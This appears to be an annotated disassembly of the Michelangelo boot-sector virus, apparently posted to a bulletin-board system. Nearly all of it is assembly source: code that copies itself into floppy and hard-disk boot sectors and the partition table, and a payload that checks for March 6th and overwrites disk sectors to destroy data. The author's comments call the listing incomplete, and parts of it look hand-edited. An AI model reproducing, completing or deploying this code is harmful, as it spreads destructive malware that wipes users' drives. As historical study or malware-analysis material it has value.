;     Michelangelo
;     Size: 512
;     Type: Boot infector
;     Date of action: March 6th
;
;
 
data_1e		equ	4Ch			; (0000:004C=1DB1h)
data_2e		equ	4Eh			; (0000:004E=70h)
data_3e		equ	413h			; (0000:0413=280h)
data_4e		equ	7C05h			; (0000:7C05=203Ch)
data_5e		equ	7C0Ah			; (0000:7C0A=49EBh)
data_6e		equ	7C0Ch			; (0000:7C0C=2A3Ch)
data_7e		equ	7			; (694E:0007=0)
data_8e		equ	8			; (694E:0008=0)
data_9e		equ	0Ah			; (694E:000A=0)
data_11e	equ	7C03h			; (694E:7C03=0)
  
seg_a		segment
		assume	cs:seg_a, ds:seg_a
  
  
		org	100h
  
mich		proc	far
  
start:                      
		jmp	loc_6 ; (01AF) "This is what you see at sector 0"
		db	0F5h, 0, 80h, 9Fh, 2, 3 ; A lot of the virus is hidden
		db	0, 56h, 2, 0, 0C8h, 1Eh ; in these defined bytes
		db	50h, 0Ah, 0D2h, 75h, 1Bh, 33h ; watch this carefully
		db	0C0h, 8Eh, 0D8h, 0F6h, 6, 3Fh ; or you will miss where
		db	4, 1, 75h, 10h, 58h, 1Fh ; it writes to your
		db	9Ch, 2Eh, 0FFh, 1Eh, 0Ah, 0 ; partiton table
		db	9Ch, 0E8h, 0Bh, 0, 9Dh, 0CAh
		db	2, 0, 58h, 1Fh, 2Eh, 0FFh
		db	2Eh, 0Ah, 0, 50h, 53h, 51h
		db	52h, 1Eh, 6, 56h, 57h, 0Eh
		db	1Fh, 0Eh, 7, 0BEh, 4, 0
loc_1: ;Init registers
		mov	ax,201h
		mov	bx,200h
		mov	cx,1
		xor	dx,dx			; Zero register
		pushf				; Push flags
		call	dword ptr ds:data_9e	; (694E:000A=0)
		jnc	loc_2			; Jump if carry=0
		xor	ax,ax			; Zero register
		pushf				; Push flags
		call	dword ptr ds:data_9e	; (694E:000A=0)
		dec	si
		jnz	loc_1			; Jump if not zero
		jmp	short loc_5		; (01A6)
loc_2: ;Zero registers clear direction
		xor	si,si			; Zero register
		cld				; Clear direction
		lodsw				; String [si] to ax
		cmp	ax,[bx]
		jne	loc_3			; Jump if not equal
		lodsw				; String [si] to ax
		cmp	ax,[bx+2]
		je	loc_5			; Jump if equal
loc_3: ; cmp byte ptr See infected
		mov	ax,301h
		mov	dh,1
		mov	cl,3
		cmp	byte ptr [bx+15h],0FDh
		je	loc_4			; Jump if equal
		mov	cl,0Eh
loc_4: ;call out all db hiden data
		mov	ds:data_8e,cx		; (694E:0008=0)
		pushf				; Push flags
		call	dword ptr ds:data_9e	; (694E:000A=0)
		jc	loc_5			; Jump if carry Set
		mov	si,3BEh
		mov	di,1BEh
		mov	cx,21h
		cld				; Clear direction
		rep	movsw			; Rep while cx>0 Mov [si]
		mov	ax,301h                 ; to es:[di]
		xor	bx,bx			; Zero register
		mov	cx,1
		xor	dx,dx			; Zero register
		pushf				; Push flags
		call	dword ptr ds:data_9e	; (694E:000A=0)
loc_5: ;Clear all set
		pop	di
		pop	si
		pop	es
		pop	ds
		pop	dx
		pop	cx
		pop	bx
		pop	ax
		retn
loc_6: ;Load all hiden data
		xor	ax,ax			; Zero register
		mov	ds,ax
		cli				; Disable interrupts
		mov	ss,ax
		mov	ax,7C00h
		mov	sp,ax
		sti				; Enable interrupts
		push	ds
		push	ax
		mov	ax,ds:data_1e		; (0000:004C=1DB1h)
		mov	ds:data_5e,ax		; (0000:7C0A=49EBh)
		mov	ax,ds:data_2e		; (0000:004E=70h)
		mov	ds:data_6e,ax		; (0000:7C0C=2A3Ch)
		mov	ax,ds:data_3e		; (0000:0413=280h)
		dec	ax
		dec	ax
		mov	ds:data_3e,ax		; (0000:0413=280h)
		mov	cl,6
		shl	ax,cl			; Shift w/zeros fill
		mov	es,ax
		mov	ds:data_4e,ax		; (0000:7C05=203Ch)
		mov	ax,0Eh
		mov	ds:data_1e,ax		; (0000:004C=1DB1h)
		mov	ds:data_2e,es		; (0000:004E=70h)
		mov	cx,1BEh
		mov	si,7C00h
		xor	di,di			; Zero register
		cld				; Clear direction
		rep	movsb			; Rep while cx>0 Mov [si]
		jmp	dword ptr cs:data_11e	; to es:[di] (694E:7C03=0)
		db	33h, 0C0h, 8Eh, 0C0h, 0CDh, 13h ;<- Notice all the
		db	0Eh, 1Fh, 0B8h, 1, 2, 0BBh      ;          cd 13
		db	0, 7Ch, 8Bh, 0Eh, 8, 0
		db	83h, 0F9h, 7, 75h, 7, 0BAh
		db	80h, 0, 0CDh, 13h, 0EBh, 2Bh
		db	8Bh, 0Eh, 8, 0, 0BAh, 0
		db	1, 0CDh, 13h, 72h, 20h, 0Eh
		db	7, 0B8h, 1, 2, 0BBh, 0
		db	2, 0B9h, 1, 0, 0BAh, 80h
		db	0, 0CDh, 13h, 72h, 0Eh, 33h
		db	0F6h, 0FCh, 0ADh, 3Bh, 7, 75h
		db	4Fh, 0ADh, 3Bh, 47h, 2
		db	75h, 49h
loc_7:;check if it is time to nuke
		xor	cx,cx			; Zero register
		mov	ah,4
		int	1Ah ; Real time clock   ah=func 04h don't work on an xt
						; read date cx=year, dx=mon/day
		cmp	dx,306h                 ; See if March 6th
		je	loc_8			; Jump if equal to nuking subs
		retf				; Return to launch command.com
loc_8:;get ready
		xor	dx,dx			; Zero register
		mov	cx,1
loc_9:;run 7 times nuke 31.5 megs of hd
		mov	ax,309h
		mov	si,ds:data_8e		; (694E:0008=0)
		cmp	si,3
		je	loc_10			; Jump if equal
		mov	al,0Eh
		cmp	si,0Eh
		je	loc_10			; Jump if equal
		mov	dl,80h
		mov	byte ptr ds:data_7e,4	; (694E:0007=0)
		mov	al,11h
loc_10: ;nuke away 
		mov	bx,5000h
		mov	es,bx
		int	13h			; Disk  dl=drive a: ah=func 03h
						;  write sectors from mem es:bx
		jnc	loc_11			; Jump if carry=0
		xor	ah,ah			; Zero register
		int	13h			; Disk  dl=drive a: ah=func 00h
						;  reset disk, al=return status
loc_11: ;rest for loc-9 nuking
		inc	dh
		cmp	dh,ds:data_7e		; (694E:0007=0)
		jb	loc_9			; Jump if below
		xor	dh,dh			; Zero register
		inc	ch
		jmp	short loc_9		; (0250)
loc_12:;time to infect a floppie or hard dirve
		mov	cx,7
		mov	ds:data_8e,cx		; (694E:0008=0)
		mov	ax,301h
		mov	dx,80h
		int	13h	; Disk  dl=drive a: ah=func 03h infect flopie
						;  write sectors from mem es:bx
		jc	loc_7			; Jump if carry Set
		mov	si,3BEh
		mov	di,1BEh
		mov	cx,21h
		rep	movsw			; Rep while cx>0 Mov [si]
		mov	ax,301h                 : to es:[di]
		xor	bx,bx			; Zero register
		inc	cl
		int	13h ; Disk  dl=drive a: ah=func 03h lets infect hd
						;  write sectors from mem es:bx
;*		jmp	short loc_13		;*(02E0)
		db	0EBh, 32h
		db	1, 4, 11h, 0, 80h, 0
		db	5, 5, 32h, 1, 0, 0
		db	0, 0, 0
		db	53h, 53h, 20h, 20h, 43h, 4Fh
		db	4Dh
		db	58 dup (0)
		db	55h, 0AAh
  
seg_a		ends

;Last notes this virus looks like a poor hack job on the stoned virus.
;It is kinda cool in the fact that it is hard to get out of the partition table
;even if you nuke the partition table it will live on even if you replace it.
;the only way to get it out of the partition table is 1. debug 2.clean ver 86b
;3 cpav 1.0 and above. oh yeah and all that special shit that came out for it
;this virus uses int 1ah which doesn't work on an XT system.
;the virus isn't actually 512 but that is how much it writes.
;it moves the boot area of a floppy to the last sector on the disk
;and on a harddrive it moves it to the last sector in the root directory
;This should show you all how much the media can over do it on things
;since this is really a lame virus,to tell you the truth there is a lot better
;ones out there.
;This in no way is a complete listing of the code for the virus.
;Nor is it the best since i'm not the best at Assembly.
;Done by Visionary.
;BTW to who ever wrote this virus... Get a life!  

-------------------------------------------------------------------------------
Downloaded From P-80 Systems 304-744-2253
